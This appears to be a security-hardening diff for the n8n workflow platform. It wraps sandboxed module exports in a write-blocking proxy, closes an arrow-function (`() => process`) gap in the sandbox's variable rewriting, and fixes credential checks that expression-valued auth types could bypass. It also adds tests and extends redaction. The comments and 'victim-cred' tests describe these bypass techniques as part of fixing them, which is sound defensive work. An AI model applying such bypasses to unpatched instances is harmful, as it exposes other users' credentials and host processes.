// Secure a value read off the module. Normally wrap it in the membrane; when an
|
||||
// invariant forces us to return the exact object, freeze it best-effort instead
|
||||
// so it still can't be mutated for other tasks.
|
||||
function secureReadValue(value: unknown, mustReturnRaw: boolean): unknown {
|
||||
if (!mustReturnRaw) return secureModuleExport(value);
|
||||
if (isWrappable(value) && !Object.isFrozen(value)) {
|
||||
try {
|
||||
Object.freeze(value);
|
||||
} catch {
|
||||
// Non-freezable (e.g. a populated TypedArray) — nothing more we can do.
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
// Blocks every write (assignment incl. accessor setters, (re)definition,
|
||||
// deletion, prototype change) and wraps values read from the module — via both
|
||||
// property reads and descriptor reflection — so nested objects can't be mutated
|
||||
// either. Function calls forward to the real module with `this`/arguments
|
||||
// unwrapped, so internal-slot/brand checks still pass.
|
||||
const membraneHandler: ProxyHandler<object> = {
|
||||
set: () => false,
|
||||
defineProperty: () => false,
|
||||
deleteProperty: () => false,
|
||||
setPrototypeOf: () => false,
|
||||
get(target, prop) {
|
||||
const value = Reflect.get(target, prop, target) as unknown;
|
||||
const descriptor = Reflect.getOwnPropertyDescriptor(target, prop);
|
||||
return secureReadValue(value, isFixedData(descriptor));
|
||||
},
|
||||
getOwnPropertyDescriptor(target, prop) {
|
||||
const descriptor = Reflect.getOwnPropertyDescriptor(target, prop);
|
||||
if (descriptor && 'value' in descriptor) {
|
||||
descriptor.value = secureReadValue(descriptor.value, isFixedData(descriptor));
|
||||
}
|
||||
return descriptor;
|
||||
},
|
||||
apply: (target, thisArg, args) =>
|
||||
Reflect.apply(target as (...a: unknown[]) => unknown, unwrap(thisArg), args.map(unwrap)),
|
||||
// Return values are left unwrapped so callers keep ownership of what a
|
||||
// module hands back (e.g. a Buffer they can still mutate).
|
||||
construct: (target, args, newTarget) =>
|
||||
Reflect.construct(target as Constructor, args.map(unwrap), unwrap(newTarget) as Constructor),
|
||||
};
|
||||
|
||||
/**
|
||||
* Wrap a resolved module in a write-blocking membrane. Proxying rather than
|
||||
* `Object.freeze` avoids two problems: freezing throws on non-freezable
|
||||
* exports (e.g. a non-empty `Buffer`/`TypedArray`), and it leaves accessor
|
||||
* setters (e.g. `crypto.fips`) able to mutate shared process state. The
|
||||
* membrane also wraps nested objects on read, so one task cannot mutate a
|
||||
* module's nested state (e.g. `http.globalAgent`) for the others.
|
||||
*/
|
||||
export function secureModuleExport(resolved: unknown): unknown {
|
||||
if (!isWrappable(resolved)) return resolved;
|
||||
|
||||
const cached = viewByTarget.get(resolved);
|
||||
if (cached !== undefined) return cached;
|
||||
|
||||
const view = new Proxy(resolved, membraneHandler);
|
||||
viewByTarget.set(resolved, view);
|
||||
targetByView.set(view, resolved);
|
||||
return view;
|
||||
}
|
||||
|
||||
export function createRequireResolver({
|
||||
allowedBuiltInModules,
|
||||
allowedExternalModules,
|
||||
secureModules = false,
|
||||
}: RequireResolverOpts) {
|
||||
return (request: string) => {
|
||||
const checkIsAllowed = (allowList: Set<string> | '*', moduleName: string) => {
|
||||
|
|
@ -37,6 +129,9 @@ export function createRequireResolver({
|
|||
throw new ExecutionError(error);
|
||||
}
|
||||
|
||||
return require(request) as unknown;
|
||||
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||
const resolved = require(request) as unknown;
|
||||
|
||||
return secureModules ? secureModuleExport(resolved) : resolved;
|
||||
};
|
||||
}
|
||||
|
|
|
|||
|
|
@ -109,6 +109,15 @@ const customPatches: Partial<Record<ParentKind['type'], CustomPatcher>> = {
|
|||
polyfillVar(path, dataNode);
|
||||
}
|
||||
},
|
||||
ArrowFunctionExpression(path, parent: namedTypes.ArrowFunctionExpression, dataNode) {
|
||||
// A concise arrow body that is a bare identifier (`() => process`) must be
|
||||
// routed through the data context like any other free read. Params are not
|
||||
// the body, and body identifiers that reference a param are left alone by
|
||||
// polyfillVar's in-scope check.
|
||||
if (parent.body === path.node) {
|
||||
polyfillVar(path, dataNode);
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
export const jsVariablePolyfill = (
|
||||
|
|
@ -134,6 +143,7 @@ export const jsVariablePolyfill = (
|
|||
case 'MemberExpression':
|
||||
case 'OptionalMemberExpression':
|
||||
case 'VariableDeclarator':
|
||||
case 'ArrowFunctionExpression':
|
||||
if (!customPatches[parent.type]) {
|
||||
throw new Error(`Couldn't find custom patcher for parent type: ${parent.type}`);
|
||||
}
|
||||
|
|
@ -174,7 +184,6 @@ export const jsVariablePolyfill = (
|
|||
// Do nothing
|
||||
case 'Super':
|
||||
case 'Identifier':
|
||||
case 'ArrowFunctionExpression':
|
||||
case 'FunctionDeclaration':
|
||||
case 'FunctionExpression':
|
||||
case 'ThisExpression':
|
||||
|
|
|
|||
|
|
@ -124,7 +124,7 @@ describe('WorkflowExecuteAdditionalData', () => {
|
|||
mockInstance(Telemetry);
|
||||
const workflowRepository = mockInstance(WorkflowRepository);
|
||||
const activeExecutions = mockInstance(ActiveExecutions);
|
||||
mockInstance(CredentialsPermissionChecker);
|
||||
const credentialsPermissionChecker = mockInstance(CredentialsPermissionChecker);
|
||||
mockInstance(SubworkflowPolicyChecker);
|
||||
mockInstance(WorkflowStatisticsService);
|
||||
mockInstance(WorkflowPublishHistoryRepository);
|
||||
|
|
@ -273,6 +273,100 @@ describe('WorkflowExecuteAdditionalData', () => {
|
|||
expect(getVariablesSpy).toHaveBeenCalledWith(workflowId, undefined);
|
||||
});
|
||||
|
||||
describe('credential permission check routing', () => {
|
||||
const subWorkflowData = () =>
|
||||
mock<IWorkflowBase>({
|
||||
id: 'sub-id',
|
||||
name: 'Sub Workflow',
|
||||
nodes: [],
|
||||
connections: {},
|
||||
staticData: {},
|
||||
settings: {},
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.mocked(credentialsPermissionChecker.check).mockClear();
|
||||
vi.mocked(credentialsPermissionChecker.checkForUser).mockClear();
|
||||
vi.mocked(WorkflowExecute).mockClear();
|
||||
});
|
||||
|
||||
it('checks credentials against the triggering user for an inline sub-workflow', async () => {
|
||||
await executeWorkflow(
|
||||
mock<IExecuteWorkflowInfo>({ id: undefined, code: subWorkflowData() }),
|
||||
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||
mock<ExecuteWorkflowOptions>({
|
||||
loadedWorkflowData: subWorkflowData(),
|
||||
doNotWaitToFinish: false,
|
||||
parentWorkflowId: 'parent-1',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(credentialsPermissionChecker.checkForUser).toHaveBeenCalledTimes(1);
|
||||
expect(vi.mocked(credentialsPermissionChecker.checkForUser).mock.calls[0][0]).toBe(
|
||||
'user-1',
|
||||
);
|
||||
expect(credentialsPermissionChecker.check).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('checks credentials against the project for a database sub-workflow', async () => {
|
||||
await executeWorkflow(
|
||||
mock<IExecuteWorkflowInfo>({ id: 'db-id', code: undefined }),
|
||||
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||
mock<ExecuteWorkflowOptions>({
|
||||
loadedWorkflowData: subWorkflowData(),
|
||||
doNotWaitToFinish: false,
|
||||
}),
|
||||
);
|
||||
|
||||
expect(credentialsPermissionChecker.check).toHaveBeenCalled();
|
||||
expect(credentialsPermissionChecker.checkForUser).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('falls back to the project check for an inline sub-workflow without a triggering user', async () => {
|
||||
await executeWorkflow(
|
||||
mock<IExecuteWorkflowInfo>({ id: undefined, code: subWorkflowData() }),
|
||||
mock<IWorkflowExecuteAdditionalData>({ userId: undefined }),
|
||||
mock<ExecuteWorkflowOptions>({
|
||||
loadedWorkflowData: subWorkflowData(),
|
||||
doNotWaitToFinish: false,
|
||||
parentWorkflowId: 'parent-1',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(credentialsPermissionChecker.check).toHaveBeenCalled();
|
||||
expect(credentialsPermissionChecker.checkForUser).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('preserves the triggering user in the sub-workflow additional data for inline sub-workflows so nested inline calls stay scoped to that user', async () => {
|
||||
await executeWorkflow(
|
||||
mock<IExecuteWorkflowInfo>({ id: undefined, code: subWorkflowData() }),
|
||||
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||
mock<ExecuteWorkflowOptions>({
|
||||
loadedWorkflowData: subWorkflowData(),
|
||||
doNotWaitToFinish: false,
|
||||
parentWorkflowId: 'parent-1',
|
||||
}),
|
||||
);
|
||||
|
||||
const integratedAdditionalData = vi.mocked(WorkflowExecute).mock.calls[0][0];
|
||||
expect(integratedAdditionalData.userId).toBe('user-1');
|
||||
});
|
||||
|
||||
it('does not carry the triggering user into a database sub-workflow (runs under its own project scope)', async () => {
|
||||
await executeWorkflow(
|
||||
mock<IExecuteWorkflowInfo>({ id: 'db-id', code: undefined }),
|
||||
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||
mock<ExecuteWorkflowOptions>({
|
||||
loadedWorkflowData: subWorkflowData(),
|
||||
doNotWaitToFinish: false,
|
||||
}),
|
||||
);
|
||||
|
||||
const integratedAdditionalData = vi.mocked(WorkflowExecute).mock.calls[0][0];
|
||||
expect(integratedAdditionalData.userId).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('sub-workflow dynamic credential reporting', () => {
|
||||
const getMockRunWithCredentialFlags = (task: Partial<ITaskData>, executedByUserId?: string) =>
|
||||
mock<IRun>({
|
||||
|
|
|
|||
|
|
@ -4,11 +4,14 @@ import {
|
|||
type SharedCredentialsRepository,
|
||||
type CredentialsRepository,
|
||||
type CredentialsEntity,
|
||||
type UserRepository,
|
||||
GLOBAL_OWNER_ROLE,
|
||||
GLOBAL_MEMBER_ROLE,
|
||||
} from '@n8n/db';
|
||||
import type { INode } from 'n8n-workflow';
|
||||
import { mock } from 'vitest-mock-extended';
|
||||
|
||||
import type { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
||||
import type { NodeTypes } from '@/node-types';
|
||||
import type { OwnershipService } from '@/services/ownership.service';
|
||||
import type { ProjectService } from '@/services/project.service.ee';
|
||||
|
|
@ -21,12 +24,16 @@ describe('CredentialsPermissionChecker', () => {
|
|||
const ownershipService = mock<OwnershipService>();
|
||||
const projectService = mock<ProjectService>();
|
||||
const nodeTypes = mock<NodeTypes>();
|
||||
const userRepository = mock<UserRepository>();
|
||||
const credentialsFinderService = mock<CredentialsFinderService>();
|
||||
const permissionChecker = new CredentialsPermissionChecker(
|
||||
sharedCredentialsRepository,
|
||||
credentialsRepository,
|
||||
ownershipService,
|
||||
projectService,
|
||||
nodeTypes,
|
||||
userRepository,
|
||||
credentialsFinderService,
|
||||
);
|
||||
|
||||
const workflowId = 'workflow123';
|
||||
|
|
@ -302,6 +309,82 @@ describe('CredentialsPermissionChecker', () => {
|
|||
);
|
||||
});
|
||||
|
||||
it('should check the credential when genericAuthType is an expression', async () => {
|
||||
const victimCredentialId = 'victim-cred';
|
||||
const httpRequestNodeWithExpressionAuth: INode = {
|
||||
id: 'node-3',
|
||||
name: 'HTTP Request',
|
||||
type: 'n8n-nodes-base.httpRequest',
|
||||
typeVersion: 4.2,
|
||||
position: [0, 0],
|
||||
parameters: {
|
||||
authentication: 'genericCredentialType',
|
||||
// Resolves to "httpHeaderAuth" only at execution time
|
||||
genericAuthType: '={{ "httpHeaderAuth" }}',
|
||||
},
|
||||
credentials: {
|
||||
httpHeaderAuth: {
|
||||
id: victimCredentialId,
|
||||
name: 'Victim Header Auth',
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
nodeTypes.getByNameAndVersion.mockReturnValue({
|
||||
description: { credentials: [] },
|
||||
} as never);
|
||||
|
||||
sharedCredentialsRepository.getFilteredAccessibleCredentials.mockResolvedValue([]);
|
||||
credentialsRepository.find.mockResolvedValue([]);
|
||||
|
||||
await expect(
|
||||
permissionChecker.check(workflowId, [httpRequestNodeWithExpressionAuth]),
|
||||
).rejects.toThrow('Node "HTTP Request" does not have access to the credential');
|
||||
|
||||
// The unresolved expression must not let the credential bypass the check
|
||||
expect(sharedCredentialsRepository.getFilteredAccessibleCredentials).toHaveBeenCalledWith(
|
||||
[teamProject.id],
|
||||
[victimCredentialId],
|
||||
);
|
||||
});
|
||||
|
||||
it('should check the credential when nodeCredentialType is an expression', async () => {
|
||||
const victimCredentialId = 'victim-cred';
|
||||
const httpRequestNodeWithExpressionAuth: INode = {
|
||||
id: 'node-4',
|
||||
name: 'HTTP Request',
|
||||
type: 'n8n-nodes-base.httpRequest',
|
||||
typeVersion: 4.3,
|
||||
position: [0, 0],
|
||||
parameters: {
|
||||
authentication: 'predefinedCredentialType',
|
||||
nodeCredentialType: '={{ "googleOAuth2Api" }}',
|
||||
},
|
||||
credentials: {
|
||||
googleOAuth2Api: {
|
||||
id: victimCredentialId,
|
||||
name: 'Victim OAuth2',
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
nodeTypes.getByNameAndVersion.mockReturnValue({
|
||||
description: { credentials: [] },
|
||||
} as never);
|
||||
|
||||
sharedCredentialsRepository.getFilteredAccessibleCredentials.mockResolvedValue([]);
|
||||
credentialsRepository.find.mockResolvedValue([]);
|
||||
|
||||
await expect(
|
||||
permissionChecker.check(workflowId, [httpRequestNodeWithExpressionAuth]),
|
||||
).rejects.toThrow('Node "HTTP Request" does not have access to the credential');
|
||||
|
||||
expect(sharedCredentialsRepository.getFilteredAccessibleCredentials).toHaveBeenCalledWith(
|
||||
[teamProject.id],
|
||||
[victimCredentialId],
|
||||
);
|
||||
});
|
||||
|
||||
it('should fall back to checking all credentials if node type cannot be resolved', async () => {
|
||||
nodeTypes.getByNameAndVersion.mockImplementation(() => {
|
||||
throw new Error('Unknown node type');
|
||||
|
|
@ -322,4 +405,56 @@ describe('CredentialsPermissionChecker', () => {
|
|||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('checkForUser', () => {
|
||||
const userId = 'user-123';
|
||||
|
||||
it('should not throw when the workflow has no credentials', async () => {
|
||||
await expect(permissionChecker.checkForUser(userId, [])).resolves.not.toThrow();
|
||||
|
||||
expect(userRepository.findOne).not.toHaveBeenCalled();
|
||||
expect(credentialsFinderService.findCredentialsForUser).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should throw when the triggering user cannot be resolved', async () => {
|
||||
userRepository.findOne.mockResolvedValueOnce(null);
|
||||
|
||||
await expect(permissionChecker.checkForUser(userId, [node])).rejects.toThrow(
|
||||
'Node "Test Node" uses a credential you do not have access to',
|
||||
);
|
||||
});
|
||||
|
||||
it('should throw when the user does not have access to the credential', async () => {
|
||||
userRepository.findOne.mockResolvedValueOnce(
|
||||
mock<User>({ id: userId, role: GLOBAL_MEMBER_ROLE }),
|
||||
);
|
||||
credentialsFinderService.findCredentialsForUser.mockResolvedValueOnce([]);
|
||||
|
||||
await expect(permissionChecker.checkForUser(userId, [node])).rejects.toThrow(
|
||||
'Node "Test Node" uses a credential you do not have access to',
|
||||
);
|
||||
expect(credentialsFinderService.findCredentialsForUser).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ id: userId }),
|
||||
['credential:read'],
|
||||
);
|
||||
});
|
||||
|
||||
it('should not throw when the user has access to the credential', async () => {
|
||||
userRepository.findOne.mockResolvedValueOnce(
|
||||
mock<User>({ id: userId, role: GLOBAL_MEMBER_ROLE }),
|
||||
);
|
||||
credentialsFinderService.findCredentialsForUser.mockResolvedValueOnce([
|
||||
mock<CredentialsEntity>({ id: credentialId }),
|
||||
]);
|
||||
|
||||
await expect(permissionChecker.checkForUser(userId, [node])).resolves.not.toThrow();
|
||||
});
|
||||
|
||||
it('should skip the check for a user with instance-wide credential listing', async () => {
|
||||
userRepository.findOne.mockResolvedValueOnce(mock<User>({ role: GLOBAL_OWNER_ROLE }));
|
||||
|
||||
await expect(permissionChecker.checkForUser(userId, [node])).resolves.not.toThrow();
|
||||
expect(credentialsFinderService.findCredentialsForUser).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,10 +1,11 @@
|
|||
import type { Project } from '@n8n/db';
|
||||
import { CredentialsRepository, SharedCredentialsRepository } from '@n8n/db';
|
||||
import { CredentialsRepository, SharedCredentialsRepository, UserRepository } from '@n8n/db';
|
||||
import { Service } from '@n8n/di';
|
||||
import { hasGlobalScope } from '@n8n/permissions';
|
||||
import type { INode } from 'n8n-workflow';
|
||||
import { displayParameter, UserError } from 'n8n-workflow';
|
||||
import { displayParameter, isExpression, UserError } from 'n8n-workflow';
|
||||
|
||||
import { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
||||
import { NodeTypes } from '@/node-types';
|
||||
import { OwnershipService } from '@/services/ownership.service';
|
||||
import { ProjectService } from '@/services/project.service.ee';
|
||||
|
|
@ -17,6 +18,15 @@ class InvalidCredentialError extends UserError {
|
|||
}
|
||||
}
|
||||
|
||||
class InaccessibleCredentialForUserError extends UserError {
|
||||
override description =
|
||||
'This node uses a credential you do not have access to. Ask its owner to share it with you.';
|
||||
|
||||
constructor(readonly node: INode) {
|
||||
super(`Node "${node.name}" uses a credential you do not have access to`);
|
||||
}
|
||||
}
|
||||
|
||||
class InaccessibleCredentialError extends UserError {
|
||||
override description =
|
||||
this.project.type === 'personal'
|
||||
|
|
@ -39,8 +49,48 @@ export class CredentialsPermissionChecker {
|
|||
private readonly ownershipService: OwnershipService,
|
||||
private readonly projectService: ProjectService,
|
||||
private readonly nodeTypes: NodeTypes,
|
||||
private readonly userRepository: UserRepository,
|
||||
private readonly credentialsFinderService: CredentialsFinderService,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Check that a specific user can use every credential referenced by the given
|
||||
* nodes. Used for sub-workflows whose source is not a stored database workflow
|
||||
* (inline/parameter, file, url): these carry no project of their own, so their
|
||||
* credentials must be evaluated against the user triggering the run rather than
|
||||
* against the parent workflow's project.
|
||||
*/
|
||||
async checkForUser(userId: string, nodes: INode[]) {
|
||||
const credIdsToNodes = this.mapCredIdsToNodes(nodes);
|
||||
const workflowCredIds = Object.keys(credIdsToNodes);
|
||||
|
||||
if (workflowCredIds.length === 0) return;
|
||||
|
||||
// Load the role relation (scopes are eager) so hasGlobalScope can resolve.
|
||||
const user = await this.userRepository.findOne({
|
||||
where: { id: userId },
|
||||
relations: ['role'],
|
||||
});
|
||||
if (!user) {
|
||||
// Cannot resolve the triggering user - fail closed.
|
||||
throw new InaccessibleCredentialForUserError(credIdsToNodes[workflowCredIds[0]][0]);
|
||||
}
|
||||
|
||||
// A user with instance-wide credential listing can use any credential.
|
||||
if (hasGlobalScope(user, 'credential:list')) return;
|
||||
|
||||
const accessibleCredentials = await this.credentialsFinderService.findCredentialsForUser(user, [
|
||||
'credential:read',
|
||||
]);
|
||||
const accessibleSet = new Set(accessibleCredentials.map((cred) => cred.id));
|
||||
|
||||
for (const credentialsId of workflowCredIds) {
|
||||
if (!accessibleSet.has(credentialsId)) {
|
||||
throw new InaccessibleCredentialForUserError(credIdsToNodes[credentialsId][0]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a workflow has the ability to execute based on the projects it's apart of.
|
||||
*/
|
||||
|
|
@ -141,6 +191,10 @@ export class CredentialsPermissionChecker {
|
|||
// the active credential is specified by the nodeCredentialType parameter
|
||||
const { nodeCredentialType } = node.parameters;
|
||||
if (typeof nodeCredentialType === 'string' && nodeCredentialType) {
|
||||
// An expression only resolves to its real type at execution time, so the
|
||||
// static filter can't know which credential it activates. Check all
|
||||
// referenced credentials rather than trust the unresolved literal.
|
||||
if (isExpression(nodeCredentialType)) return null;
|
||||
activeTypes.add(nodeCredentialType);
|
||||
}
|
||||
|
||||
|
|
@ -149,6 +203,7 @@ export class CredentialsPermissionChecker {
|
|||
// specified by the genericAuthType parameter
|
||||
const { genericAuthType } = node.parameters;
|
||||
if (typeof genericAuthType === 'string' && genericAuthType) {
|
||||
if (isExpression(genericAuthType)) return null;
|
||||
activeTypes.add(genericAuthType);
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -440,6 +440,92 @@ describe('FullItemRedactionStrategy', () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe('executionData subtrees', () => {
|
||||
const stackNode = {
|
||||
id: 'node-1',
|
||||
name: 'Test Node',
|
||||
type: 'n8n-nodes-base.httpRequest',
|
||||
typeVersion: 1,
|
||||
position: [0, 0] as [number, number],
|
||||
parameters: {},
|
||||
};
|
||||
|
||||
it('clears item json and binary in nodeExecutionStack', async () => {
|
||||
const execution = makeExecution({});
|
||||
execution.data.executionData!.nodeExecutionStack = [
|
||||
{
|
||||
node: stackNode,
|
||||
source: null,
|
||||
data: {
|
||||
main: [
|
||||
[
|
||||
{
|
||||
json: { secret: 'stack-value' },
|
||||
binary: { file: { mimeType: 'text/plain', data: 'abc' } },
|
||||
},
|
||||
],
|
||||
],
|
||||
},
|
||||
},
|
||||
];
|
||||
|
||||
await strategy.apply(execution, makeContext());
|
||||
|
||||
const item = execution.data.executionData!.nodeExecutionStack[0].data.main[0]![0];
|
||||
expect(item.json).toEqual({});
|
||||
expect(item.binary).toBeUndefined();
|
||||
expect(item.redaction).toEqual({ redacted: true, reason: 'workflow_redaction_policy' });
|
||||
});
|
||||
|
||||
it('moves item error to redaction.error in nodeExecutionStack', async () => {
|
||||
const error = new NodeApiError(stackNode, { message: 'Bad Gateway' }, { httpCode: '502' });
|
||||
const execution = makeExecution({});
|
||||
execution.data.executionData!.nodeExecutionStack = [
|
||||
{
|
||||
node: stackNode,
|
||||
source: null,
|
||||
data: { main: [[{ json: { secret: 'stack-value' }, error }]] },
|
||||
},
|
||||
];
|
||||
|
||||
await strategy.apply(execution, makeContext());
|
||||
|
||||
const item = execution.data.executionData!.nodeExecutionStack[0].data.main[0]![0];
|
||||
expect(item.error).toBeUndefined();
|
||||
expect(item.redaction?.error).toEqual({ type: 'NodeApiError', httpCode: '502' });
|
||||
});
|
||||
|
||||
it('clears item json and binary in waitingExecution', async () => {
|
||||
const execution = makeExecution({});
|
||||
execution.data.executionData!.waitingExecution = {
|
||||
'Test Node': {
|
||||
0: {
|
||||
main: [
|
||||
[
|
||||
{
|
||||
json: { secret: 'waiting-value' },
|
||||
binary: { file: { mimeType: 'text/plain', data: 'abc' } },
|
||||
},
|
||||
],
|
||||
],
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await strategy.apply(execution, makeContext());
|
||||
|
||||
const item = execution.data.executionData!.waitingExecution['Test Node'][0].main[0]![0];
|
||||
expect(item.json).toEqual({});
|
||||
expect(item.binary).toBeUndefined();
|
||||
expect(item.redaction).toEqual({ redacted: true, reason: 'workflow_redaction_policy' });
|
||||
});
|
||||
|
||||
it('does nothing when executionData has no stack or waiting items', async () => {
|
||||
const execution = makeExecution({});
|
||||
await expect(strategy.apply(execution, makeContext())).resolves.toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('redactionInfo', () => {
|
||||
it('sets isRedacted: true with canReveal from context', async () => {
|
||||
const execution = makeExecution({
|
||||
|
|
|
|||
|
|
@ -53,6 +53,22 @@ export class FullItemRedactionStrategy implements IExecutionRedactionStrategy {
|
|||
delete resultData.error;
|
||||
}
|
||||
|
||||
const executionData = execution.data.executionData;
|
||||
|
||||
if (executionData) {
|
||||
for (const executeData of executionData.nodeExecutionStack ?? []) {
|
||||
if (executeData.data) {
|
||||
this.redactConnections(executeData.data, reason);
|
||||
}
|
||||
}
|
||||
|
||||
for (const runIndexMap of Object.values(executionData.waitingExecution ?? {})) {
|
||||
for (const waitingExecution of Object.values(runIndexMap)) {
|
||||
this.redactConnections(waitingExecution, reason);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
execution.data.redactionInfo = {
|
||||
...execution.data.redactionInfo,
|
||||
isRedacted: true,
|
||||
|
|
|
|||
|
|
@ -13,8 +13,10 @@ import type { EventService } from '@/events/event.service';
|
|||
import type { RoleService } from '@/services/role.service';
|
||||
import type { UserService } from '@/services/user.service';
|
||||
|
||||
import type { TokenExchangeConfig } from '../../token-exchange.config';
|
||||
import { TokenExchangeAuthError } from '../../token-exchange.errors';
|
||||
import type { ExternalTokenClaims } from '../../token-exchange.schemas';
|
||||
import { TokenExchangeFailureReason } from '../../token-exchange.types';
|
||||
import { IdentityResolutionService } from '../identity-resolution.service';
|
||||
import type { TrustedKeyService } from '../trusted-key.service';
|
||||
|
||||
|
|
@ -26,6 +28,7 @@ const eventService = mock<EventService>();
|
|||
const userService = mock<UserService>();
|
||||
const trustedKeyService = mock<TrustedKeyService>();
|
||||
const roleService = mock<RoleService>();
|
||||
const config = mock<TokenExchangeConfig>();
|
||||
|
||||
const service = new IdentityResolutionService(
|
||||
logger,
|
||||
|
|
@ -35,10 +38,20 @@ const service = new IdentityResolutionService(
|
|||
userService,
|
||||
trustedKeyService,
|
||||
roleService,
|
||||
config,
|
||||
);
|
||||
|
||||
const CUSTOM_ROLE = 'global:custom-abc123';
|
||||
|
||||
function makeUser(roleSlug: string): User {
|
||||
return {
|
||||
...mock<User>(),
|
||||
id: 'user-id',
|
||||
email: 'user@example.com',
|
||||
role: { ...mock<User['role']>(), slug: roleSlug },
|
||||
} as User;
|
||||
}
|
||||
|
||||
function makeClaims(overrides: Partial<ExternalTokenClaims> = {}): ExternalTokenClaims {
|
||||
return {
|
||||
sub: 'external-user-1',
|
||||
|
|
@ -52,11 +65,19 @@ function makeClaims(overrides: Partial<ExternalTokenClaims> = {}): ExternalToken
|
|||
};
|
||||
}
|
||||
|
||||
function ctx(requireVerifiedEmail = false) {
|
||||
return { kid: 'kid-1', issuer: 'https://issuer.example.com', requireVerifiedEmail };
|
||||
}
|
||||
|
||||
describe('IdentityResolutionService', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
roleService.isGlobalRole.mockResolvedValue(true);
|
||||
roleService.isRoleLicensed.mockReturnValue(true);
|
||||
config.excludeOwner = false;
|
||||
// Default: no linked identity, no existing user (JIT territory unless overridden).
|
||||
authIdentityRepository.findOne.mockResolvedValue(null);
|
||||
userRepository.findOne.mockResolvedValue(null);
|
||||
});
|
||||
|
||||
describe('JIT provisioning (new user)', () => {
|
||||
|
|
@ -78,7 +99,7 @@ describe('IdentityResolutionService', () => {
|
|||
});
|
||||
|
||||
it('provisions a licensed custom global role', async () => {
|
||||
const user = await service.resolve(makeClaims({ role: CUSTOM_ROLE }));
|
||||
const user = await service.resolve(makeClaims({ role: CUSTOM_ROLE }), undefined, ctx());
|
||||
|
||||
expect(user.id).toBe('new-user-1');
|
||||
expect(userRepository.createUserWithProject).toHaveBeenCalledWith(
|
||||
|
|
@ -92,7 +113,7 @@ describe('IdentityResolutionService', () => {
|
|||
});
|
||||
|
||||
it('provisions a built-in global role without a license check', async () => {
|
||||
await service.resolve(makeClaims({ role: 'global:member' }));
|
||||
await service.resolve(makeClaims({ role: 'global:member' }), undefined, ctx());
|
||||
|
||||
expect(roleService.isRoleLicensed).not.toHaveBeenCalled();
|
||||
expect(userRepository.createUserWithProject).toHaveBeenCalledWith(
|
||||
|
|
@ -102,7 +123,7 @@ describe('IdentityResolutionService', () => {
|
|||
});
|
||||
|
||||
it('defaults to global:member when no role claim is present', async () => {
|
||||
await service.resolve(makeClaims());
|
||||
await service.resolve(makeClaims(), undefined, ctx());
|
||||
|
||||
expect(userRepository.createUserWithProject).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ role: GLOBAL_MEMBER_ROLE }),
|
||||
|
|
@ -117,35 +138,35 @@ describe('IdentityResolutionService', () => {
|
|||
it('throws when the role is not an existing global role', async () => {
|
||||
roleService.isGlobalRole.mockResolvedValue(false);
|
||||
|
||||
await expect(service.resolve(makeClaims({ role: 'global:nonexistent' }))).rejects.toThrow(
|
||||
TokenExchangeAuthError,
|
||||
);
|
||||
await expect(
|
||||
service.resolve(makeClaims({ role: 'global:nonexistent' }), undefined, ctx()),
|
||||
).rejects.toThrow(TokenExchangeAuthError);
|
||||
expect(userRepository.createUserWithProject).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('throws when a custom role is unlicensed', async () => {
|
||||
roleService.isRoleLicensed.mockReturnValue(false);
|
||||
|
||||
await expect(service.resolve(makeClaims({ role: CUSTOM_ROLE }))).rejects.toThrow(
|
||||
TokenExchangeAuthError,
|
||||
);
|
||||
await expect(
|
||||
service.resolve(makeClaims({ role: CUSTOM_ROLE }), undefined, ctx()),
|
||||
).rejects.toThrow(TokenExchangeAuthError);
|
||||
expect(userRepository.createUserWithProject).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('throws on a global:owner role claim', async () => {
|
||||
await expect(service.resolve(makeClaims({ role: 'global:owner' }))).rejects.toThrow(
|
||||
TokenExchangeAuthError,
|
||||
);
|
||||
await expect(
|
||||
service.resolve(makeClaims({ role: 'global:owner' }), undefined, ctx()),
|
||||
).rejects.toThrow(TokenExchangeAuthError);
|
||||
});
|
||||
|
||||
it('throws when the role is not in the key allowedRoles', async () => {
|
||||
await expect(
|
||||
service.resolve(makeClaims({ role: CUSTOM_ROLE }), ['global:member']),
|
||||
service.resolve(makeClaims({ role: CUSTOM_ROLE }), ['global:member'], ctx()),
|
||||
).rejects.toThrow(TokenExchangeAuthError);
|
||||
});
|
||||
|
||||
it('provisions when the role is in the key allowedRoles', async () => {
|
||||
await service.resolve(makeClaims({ role: CUSTOM_ROLE }), [CUSTOM_ROLE]);
|
||||
await service.resolve(makeClaims({ role: CUSTOM_ROLE }), [CUSTOM_ROLE], ctx());
|
||||
|
||||
expect(userRepository.createUserWithProject).toHaveBeenCalledWith(
|
||||
